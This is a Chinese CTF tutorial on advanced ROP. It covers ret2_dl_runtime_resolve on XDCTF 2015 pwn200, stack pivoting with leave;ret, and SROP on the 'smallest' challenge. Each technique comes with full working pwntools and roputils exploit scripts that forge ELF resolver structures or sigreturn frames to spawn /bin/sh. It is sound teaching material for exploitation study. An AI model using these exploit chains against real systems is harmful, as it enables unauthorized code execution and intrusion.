跳转至

AdvancedROP

Advanced ROP

ret2_dl_runtime_resolve

之前在 ret2libc 那块讲过的那个 动态链接 讲过,程序使用这个东西来进行延迟绑定的时候重定位的

如果我们可以控制相应的参数及其对应地址内容,就可以控制解析的函数了

XDCTF 2015 pwn200 源码:

#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";

    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}

编译:

<font style="color:#4D4D4C;">gcc -o main -m32 -fno-stack-protector bof.c</font>

利用条件

1、dl_resolve 不会检查对应的参数是否越界

2、dl_resolve 函数最后解析依赖于所给定的字符串

原理

参考:[原创]ROP高级用法之ret2_dl_runtime_resolve

1、首先使用 link_map 访问 .dynamic,分别取出 .dynstr、.dynsym、.rel.plt 的地址

2、.rel.plt + 参数 reloc_arg,求出当前函数的重定位表项 Elf32_Rel 的指针,记作 rel

3、rel 的 r_info >> 8 作为 .dynsym 的下标,求出当前函数的符号表项 Elf32_Sym 的指针,记作 sym

4、.dynstr + sym -> st_name 得出符号名字符串指针

5、在动态链接库查找这个函数地址,并且把地址赋值给 *rel -> r_offset,即 GOT 表

6、调用这个函数

调试理解

在调用函数 strlen 的这个 call 下个断点:b *0x8048588

1582616659146-1b9e4a14-97dc-46a3-98c2-526a781b2dd8.png

run 的时候把程序给断下来,然后 si 跟进这个 call 来看一下

1582868152973-5d41bea0-368a-4b85-bb78-4b49f54202f1.png

进去之后可以看到首先会去执行下面这一块

1582868363515-e71745d7-6861-4ebd-bb76-b5b4f5b5256b.png

对应之前讲的,跳转到自己的 plt 表项

继续单步执行,看一下

1582869160689-a53906ff-5427-4a98-b3f4-728e4ae8e36b.png

对应之前讲的跳转到公共的 plt 表项

又一次进行了跳转

1582869214418-4dd76ec6-48f4-4426-867f-25275d672a95.png

对应之前讲的跳转到 dl_runtime_resolve 函数

这个地方就是 dl_runtime_resolve 了

1582869335579-2f47c685-b87f-4607-825b-247920f32980.png

需要注意的是,之前跳转的时候,程序 push 了两个参数,一个是 0x10,一个是 0x804a004 里面的内容

1582869600769-de9be9b1-fa29-4c5a-9d32-aa585555a8ba.png

这两个参数就是 dl_runtime_resolve 这个函数的两个参数,我们看一下,0x804a004 里面存着什么

这个地址就是  link_map 的地址

1582869661270-6e1eada7-527c-42bb-83a6-fb03f9c1d289.png

通过这个地址就可以找到 .dynamic 的地址,第三个就是 0x8049f14

1582870661735-8c8a37af-bc53-4879-8ccb-e5cf64fd5ed4.png

再根据这一个找到 .dynstr、 .dynsym、 .rel.plt 的地址

  • .dynstr 的地址是 .dynamic + 0x44 -> 0x08048278
  • .dynsym 的地址是 .dynamic + 0x4c -> 0x080481d8
  • .rel.plt 的地址是 .dynamic + 0x84 -> 0x08048330

1582871099116-5c0eb247-da04-40a2-bab3-27e793792a5f.png

.rel.plt 的地址加上参数 reloc_arg,即 0x08048330 + 0x10 -> 0x8048340

找到的就是函数的重定位表项 Elf32_Rel 的指针,记作 rel

1582871465535-12244d8f-17fc-49ca-8ea8-0e47fbb05dff.png

通过这个 rel 可以得到以下信息

r_offset = 0x0804a014   //指向GOT表的指针

r_info = 0x00000407

将r_info>>8,即0x00000407>>8 = 4作为.dynsym中的下标,这里的 ">>" 意思是右移

我们来到 0x080481d8(上面找到的那个 .dynsym 的地址)看一下,在标号为 4 的地方,就是函数名称的偏移:name_offset

1582872483716-7385a988-246b-43c1-9b62-30fab4ee9177.png

.dynstr + name_offset 就是这个函数的符号名字符串 st_name

0x08048278 + 0x20 -> 0x8048298‬

1582872986851-d5c16d7b-7af1-4a6b-bf01-6a5ab0fa2e98.png

最后在动态链接库查找这个函数的地址,并且把地址赋值给 *rel -> r_offset,即 GOT 表就可以了

整理一下:

  1. dl_runtime_resolve 需要两个参数,一个是 reloc_arg,就是函数自己的 plt 表项 push 的内容,一个是link_map,这个是公共 plt 表项 push 进栈的,通过它可以找到.dynamic的地址
  2. 而 .dynamic 可以找到 .dynstr、.dynsym、.rel.plt 的这些东西的地址
  3. .rel.plt 的地址加上 reloc_arg 可以得到函数重定位表项 Elf32_Rel 的指针,这个指针对应的里面放着 r_offset、r_info
  4. 将 r_info>>8 得到的就是 .dynsym 的下标,这个下标的内容就是 name_offset
  5. .dynstr+name_offset 得到的就是 st_name,而 st_name 存放的就是要调用函数的函数名
  6. 在动态链接库里面找这个函数的地址,赋值给 *rel->r_offset,也就是 GOT 表就完成了一次函数的动态链接

pediy思路

实际上,dl_runtime_resolve 是通过最后的 st_name 来确定执行那一个函数的,也就是说,可以通过控制这个地址的内容来执行任意函数,比如:system

而 reloc_arg 是我们可控的,我们需要把 reloc_arg 可控间接控制 st_name

我们可以在一段地址上伪造一段结构直接修改 .dynstr

计算 reloc_arg

objdump -s -j .rel.plt ./main

1582874663974-d30fec92-6273-4152-87ac-4b58beb11076.png

reloc_arg = fake_rel_plt_addr - 0x8048330

计算 r_info

n = (欲伪造的地址- .dynsym 基地址) / 0x10

r_info = n<<8

1582875199470-5a6db8f4-3d69-4f2f-9515-84fb9f9bc894.png

还需要过#define ELF32_R_TYPE(val)   ((val) & 0xff)宏定义,ELF32_R_TYPE(r_info)=7,因此

r_info = r_info + 0x7

计算name_offset

1582876128410-dff8884c-6d96-4a3d-83a2-2693a7239953.png

st_name = fake_dynstr_addr - 0x804821c

EXP

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './main'
p = process(name)
elf= ELF(name)
rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr   #0x8048330
dynsym_addr =  elf.get_section_by_name('.dynsym').header.sh_addr    #0x80481d8
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr     #0x8048278
resolve_plt = 0x08048380
leave_ret_addr = 0x8048458

start = 0x804aa00
fake_rel_plt_addr = start
fake_dynsym_addr = fake_rel_plt_addr + 0x8
fake_dynstr_addr = fake_dynsym_addr + 0x10
bin_sh_addr = fake_dynstr_addr + 0x7
#n就是reloc_arg
n = fake_rel_plt_addr - rel_plt_addr
r_info = (((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7
str_offset = fake_dynstr_addr - dynstr_addr
fake_rel_plt = p32(elf.got['read']) + p32(r_info)
fake_dynsym = p32(str_offset) + p32(0) + p32(0) + p32(0x12000000)
fake_dynstr = "system\x00/bin/sh\x00\x00"
pay1 = 'a'*108 + p32(start - 20) + p32(elf.plt['read']) + p32(leave_ret_addr) + p32(0) + p32(start - 20) + p32(0x100)
p.recvuntil('Welcome to XDCTF2015~!\n')
p.sendline(pay1)
pay2 = p32(0x0) + p32(resolve_plt) + p32(n) + 'aaaa' + p32(bin_sh_addr) + fake_rel_plt + fake_dynsym + fake_dynstr
p.sendline(pay2)
success(".rel_plt: " + hex(rel_plt_addr))
success(".dynsym: " + hex(dynsym_addr))
success(".dynstr: " + hex(dynstr_addr))
success("fake_rel_plt_addr: " + hex(fake_rel_plt_addr))
success("fake_dynsym_addr: " + hex(fake_dynsym_addr))
success("fake_dynstr_addr: " + hex(fake_dynstr_addr))
success("n: " + hex(n))
success("r_info: " + hex(r_info))
success("offset: " + hex(str_offset))
success("system_addr: " + hex(fake_dynstr_addr))
success("bss_addr: " + hex(elf.bss()))
p.interactive()

wiki思路

首先正常的获取占空间的大小:

1582615353891-d276342c-2e2f-47ec-8c45-467ca8e4b889.png

1

介绍一种栈迁移的方法,把栈迁移到 bss 段来控制执行 write 函数,主要分两步:

1、栈迁移到 bss 段

2、控制 write 函数输出相应的字符串

栈迁移的基本思路是用leave;ret;

leave 相当于:

mov esp,ebp

pop ebp

ret 相当于:

pop eip

使用 pwntools 的 ROP 模块

from pwn import *
elf = ELF('main')
p = process('./main')
rop = ROP('./main')#首先创建一个ROP对象
offset = 112
bss_addr = elf.bss()
p.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)#在ROP链中填充offset个a
### read 100 byte to base_stage
rop.read(0, base_stage, 100)#简易的调用read函数,相当于rop.call('read',[0,base_stage,100])
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
#rop.migrate(base_stage)会将程序流程又转到base_stage
p.sendline(rop.chain())
## write cmd="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
rop.write(1, base_stage + 80, len(sh))
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))

p.sendline(rop.chain())
p.interactive()

2

接下来,用 dlresolve 的知识来调用 write 函数,利用 plt[0] 的相关指令,即公共 plt 表项 push linkmap 以及跳转到 dl_resolve 函数中解析的指令。此外,我们还得单独提供一个 write 重定位项在 plt 表中的偏移

即 write@plt push的那个参数

from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write cmd="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
############## step 2 #################
plt0 = elf.get_section_by_name('.plt').header.sh_addr#会把找到的plt[0]的地址十进制形式给plt0
write_index = (elf.plt['write'] - plt0) / 16 - 1
write_index *= 8#得到push的那一个write@plt的0x20也就是32
rop.raw(plt0)#common@plt的地址,会去执行那个common@plt的指令,先push一个
rop.raw(write_index)#write@plt
## fake ret addr of write
rop.raw('bbbb')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()

对于通过 read 写入的那一串,首先会返回到 plt0 去执行公共 plt 表项的指令,此时因为我们没有执行之前的,所以把之前就应该 push 的那个 write_index,也就是 0x20 通过 raw() 写在栈里面

1583483025918-a46d8d81-495f-4973-a0f1-b7b43d32e0d3.png

拿上面原理的例子,如果是 write 的话,黄框圈出来的应该是 0x20

3

同样控制 dl_resolve 函数中的 reloc_index 参数,不过这次控制其指向我们伪造的 write 重定位项

readelf -r main

1582879229884-6ba4199f-99d3-4b39-8956-4e71d93c6916.png

可以看出 write 的重定表项的 r_offset=0x0804a01c,r_info=0x00000607

from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
## making base_stage+24 --> fake reloc
index_offset = base_stage + 24 - rel_plt
#本来应该是0x20的,因为我们想要找的rel指针实际上是在 rel.plt+reloc_arg
#当rel.plt+index_offset的时候得到的就是base_stage
write_got = elf.got['write'] # Elf32_rel -> r_offset
r_info = 0x607 # write: Elf32_Rel -> r_info
fake_reloc = p32(write_got) + p32(r_info)
rop.raw(plt0)
rop.raw(index_offset)#会从跳转到我们的 Fake_reloc
## fake ret addr of write
rop.raw('bbbb')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw(fake_reloc) #Fake_reloc
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()

4

3 中,我们控制了重定位表项,但是重定位表项的内容与 write 原来的重定位表项一致,这次,我们将构造属于我们自己的重定位表项,并且伪造该表项对应的符号。

首先,我们根据 write 的重定位表项的 r_info=0x607 可以知道,write 对应的符号在符号表的下标为 0x607>>8=0x6。因此,我们知道 write 对应的符号地址为 0x8048238

1582879734521-589a61e7-9519-4238-bb76-b011ef2fb275.png

from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
### making fake write symbol
fake_dynsym_addr = base_stage + 32
align = 0x10 - ((fake_dynsym_addr - dynsym) & 0xf)
fake_dynsym_addr = fake_dynsym_addr + align # 用来对齐的
index_dynsym = (fake_dynsym_addr - dynsym) / 0x10  # 得到write的dynsym索引号
fake_dynsym = flat([0x4c, 0, 0, 0x12]) # 这就是fake_dynsym,0x4c就是那个name_offset
### making fake write relocation
## making base_stage+24 ---> fake reloc
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7 #计算 r_info,|7相当于加7,后面添加上07标识,表示这个是导入函数
fake_reloc = flat([write_got, r_info])
rop.raw(plt0)
rop.raw(index_offset)
## fake ret addr of write
rop.raw('bbbb')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw(fake_reloc)  # fake reloc
rop.raw('a' * align)  # padding
rop.raw(fake_dynsym)  # fake dynsym
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()

1583737354702-8a760dfb-4add-4db9-b3b9-423b48a9b707.png

https://xz.aliyun.com/t/5122

5

我们进一步使得 write 符号的 name_offset 指向我们自己构造的字符串

from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
### making fake write symbol
fake_dynsym_addr = base_stage + 32
align = 0x10 - ((fake_dynsym_addr - dynsym) & 0xf)  # since the size of item(Elf32_Symbol) of dynsym is 0x10
fake_dynsym_addr = fake_dynsym_addr + align
index_dynsym = (fake_dynsym_addr - dynsym) / 0x10  # calculate the dynsym index of write
## plus 10 since the size of Elf32_Sym is 16.
name_offset = fake_dynsym_addr + 0x10 - dynstr
fake_dynsym = flat([name_offset, 0, 0, 0x12])
### making fake write relocation
## making base_stage+24 ---> fake reloc
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7
fake_write_reloc = flat([write_got, r_info])
rop.raw(plt0)
rop.raw(index_offset)
## fake ret addr of write
rop.raw('bbbb')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw(fake_write_reloc)  # fake write reloc
rop.raw('a' * align)  # padding
rop.raw(fake_dynsym)  # fake write symbol
rop.raw('write\x00')  # there must be a \x00 to mark the end of string
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()

6

我们只需要将原先的 write 字符串修改为 system 字符串,同时修改 write 的参数为 system 的参数即可获取 shell。这是因为,dl_resolve 最终依赖的是我们所给定的字符串,即使我们给了一个假的字符串它仍然会去解析并执行

from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())
## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
### making fake write symbol
fake_dynsym_addr = base_stage + 32
align = 0x10 - ((fake_dynsym_addr - dynsym) & 0xf)  # since the size of item(Elf32_Symbol) of dynsym is 0x10
fake_dynsym_addr = fake_dynsym_addr + align
index_dynsym = (fake_dynsym_addr - dynsym) / 0x10  # calculate the dynsym index of write
## plus 10 since the size of Elf32_Sym is 16.
name_offset = fake_dynsym_addr + 0x10 - dynstr
fake_dynsym = flat([name_offset, 0, 0, 0x12])
### making fake write relocation
## making base_stage+24 ---> fake reloc
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7
fake_write_reloc = flat([write_got, r_info])
rop.raw(plt0)
rop.raw(index_offset)
## fake ret addr of write
rop.raw('bbbb')
rop.raw(base_stage + 82)
rop.raw('bbbb')
rop.raw('bbbb')
rop.raw(fake_write_reloc)  # fake write reloc
rop.raw('a' * align)  # padding
rop.raw(fake_dynsym)  # fake write symbol
rop.raw('system\x00')  # there must be a \x00 to mark the end of string
rop.raw('a' * (80 - len(rop.chain())))
print rop.dump()
print len(rop.chain())
rop.raw(sh + '\x00')
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()

roputil工具


直接使用 roputil 来进行攻击

from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./main')
context.log_level = 'debug'
r.recv()
rop = ROP('./main')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

补:栈迁移原理

主要用的就是这个 leave;ret; 这样的gadgets

1583751269591-9a856c5f-909f-49eb-ad59-2e660721ac09.png

假设,我们有一个程序,存在栈溢出漏洞,我们把内容覆盖成了下面这样子,当然此时 bss 段或者 data 段还没有内容,待会会通过 read 函数输入:

1583751904484-d0c55ace-3ed8-4917-91b8-fcd1a1ef5e55.png

而实际上在程序调用完成 call 返回的时候,就会有这样的 mov esp,ebp pop ebp ret 指令

1583751473086-167601a3-bdb8-4994-819e-c5665fcb9ca7.png

所以我们挨个去执行的时候会出现这样的情况

首先是 mov esp,ebp 执行完以后变成了这个样子:

1583751918976-b36e8f03-dad2-4a68-bc4c-8fbad6372ffa.png

然后 pop ebp 执行完后就是

别忘了,pop 指令是把栈顶的值弹到 指定的寄存器,也就是说 esp 会自动的减一个单位

1583751935372-eda3a4b9-c702-4ccb-9026-e959f6b4d40f.png

这时候就到 ret 了,我们可以通过 read 函数来把内容输入到 fake ebp1 的地址处

构造的内容主要是把fake ebp1 处写成 fake ebp2 的地址

1583751883921-bc78a815-a166-4e1c-9eab-40507aed9242.png

read 函数执行完成以后程序返回到了 leave_ret,这样就会在执行一遍上面说的那样

首先是 mov esp,ebp 执行完成后效果如下:

1583752086719-16f00086-3e30-4c54-8dcf-9461525818da.png

然后是 pop ebp 执行完成后:

1583752167974-cc20b00e-3209-405c-b364-f0413a6e8137.png

此时在执行 ret 命令,他就会执行我们构造在 bss 段后者 data 段的那个函数

1583752275648-10ee7f0d-b076-4055-8281-def34b84981e.png

SROP

SROP(Sigreturn Oriented Programming),sigreturn是一个系统调用,在 unix 系统发生 signal 的时候会被间接调用

当系统进程发起(deliver)一个 signal 的时候,该进程会被短暂的挂起(suspend),进入内核①,然后内核对该进程保留相应的上下文,跳转到之前注册好的 signal handler 中处理 signal②,当 signal 返回后③,内核为进程恢复之前保留的上下文,恢复进程的执行④

1583802593340-5e11543d-ba40-4484-90a1-7eff91e5f953.png

内核为进程保留相应的上下文的方法主要是:将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址,此时栈的情况是这样的:

1583803907159-784f8139-65cf-4c41-8ce5-db66393f5cc1.png

我们称 ucontext 以及 siginfo 这一段为 signal frame,需要注意的是这一部分是在用户进程的地址空间,之后会跳转到注册过 signal handler 中处理相应的 signal,因此,当 signal handler 执行完成后就会执行 sigreturn 系统调用来恢复上下文,主要是将之前压入的寄存器的内容给还原回对应的寄存器,然后恢复进程的执行

32 位的 sigreturn 的系统调用号为 77,64 位的系统调用号为 15

例题

360 春秋杯中的 smallest

1583832738169-e295a320-9921-451b-b0e9-f0b2403f9409.png

可以看到在 IDA 里面打开,只有这么几行

1583832621766-85bca31f-6888-4e9a-9ca9-2e4579f6a3e2.png

syscall 调用的是 rax 的 0(xor rax,rax 的结果)

所以这里就是 syscall(0,0,$rsp,0x400) 所以程序实际执行的是 read(0,$rsp,0x400),也就是往栈顶写 0x400 字节的内容

系统调用 调用号 函数原型
read 0 read(int fd, void *buf, size_t count)
write 1 write(int fd, const void *buf, size_t count)
sigreturn 15 int sigreturn(...)
execve 59 execve(const char filename, char const argv[],char *const envp[])

SROP 主要是利用了第 15 号,sigreturn 从栈上读取数据,赋值到寄存器中,可以用来构造 syscall(59,"/bin/sh",0,0)

exp

#coding=utf8
from pwn import *
sh = process('./smallest')
small = ELF('./smallest')
context.arch = 'amd64'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
payload = p64(start_addr) * 3
sh.send(payload)#首先,发送start_addr的地址,因为是写在栈顶的,所以就是read的返回地址
#会返回到start_addr
sh.send('\xb3')#返回后再次调用read函数的时候输入一个字节,read函数会把读入的字节数放到rax
#这样就达到了rax置为1的目的,同时会把rsp的后一位写为\xB3,这样返回地址就不是start_addr了
#而是4000B3,这就避免了rax被xor置零
stack_addr = u64(sh.recv()[8:16])
#此时,这样我们就回去syscall调用write函数里,输出的就是栈上的0x400长度的内容
#别忘了当是输入的是3个start_addr,所以前八个字节是start_addr,后面的才是我们要用的
log.success('leak stack addr :' + hex(stack_addr))
#现在我们拿到栈的地址,同时,因为当时是写了三个start_addr,现在又回到了start_addr

#开始构造!我们要想要syscall调用sigreturn需要把rax设置为15,通过read实现
read = SigreturnFrame()
read.rax = constants.SYS_read
read.rdi = 0
read.rsi = stack_addr
read.rdx = 0x400
read.rsp = stack_addr
read.rip = syscall_ret
#相当于read(0,stack_addr,0x400),同时返回地址是start_addr
read_frame_payload  = p64(start_addr) + p64(syscall_ret) + str(read)
sh.send(read_frame_payload)#调用read函数,等待接收
sh.send(read_frame_payload[8:8+15])#总共是15个
#这样通过read返回的字节使得rax为15,这样的话就会去恢复构造的read那一段内容,来接受我们的输入

execve = SigreturnFrame()
execve.rax=constants.SYS_execve
execve.rdi=stack_addr + 0x120
execve.rsi=0x0
execve.rdx=0x0
execve.rsp=stack_addr
execve.rip=syscall_ret
execv_frame_payload=p64(start_addr)+p64(syscall_ret)+str(execve)#返回start_addr等待输入
print len(execv_frame_payload)
execv_frame_payload_all=execv_frame_payload+(0x120-len(execv_frame_payload ))*'\x00'+'/bin/sh\x00'
#先计算一下长度,让前面的添上几个'\x00'之后正好是120,然后再填上'/bin/sh'
sh.send(execv_frame_payload_all)
sh.send(execv_frame_payload_all[8:8+15])
sh.interactive()

1584172885580-9374e3ed-e078-48e8-b2b7-535b9e5d2117.png

1584175482747-4d3af9c1-f160-419d-9609-1d084d623cbe.webp

原文: https://www.yuque.com/hxfqg9/bin/erh0l7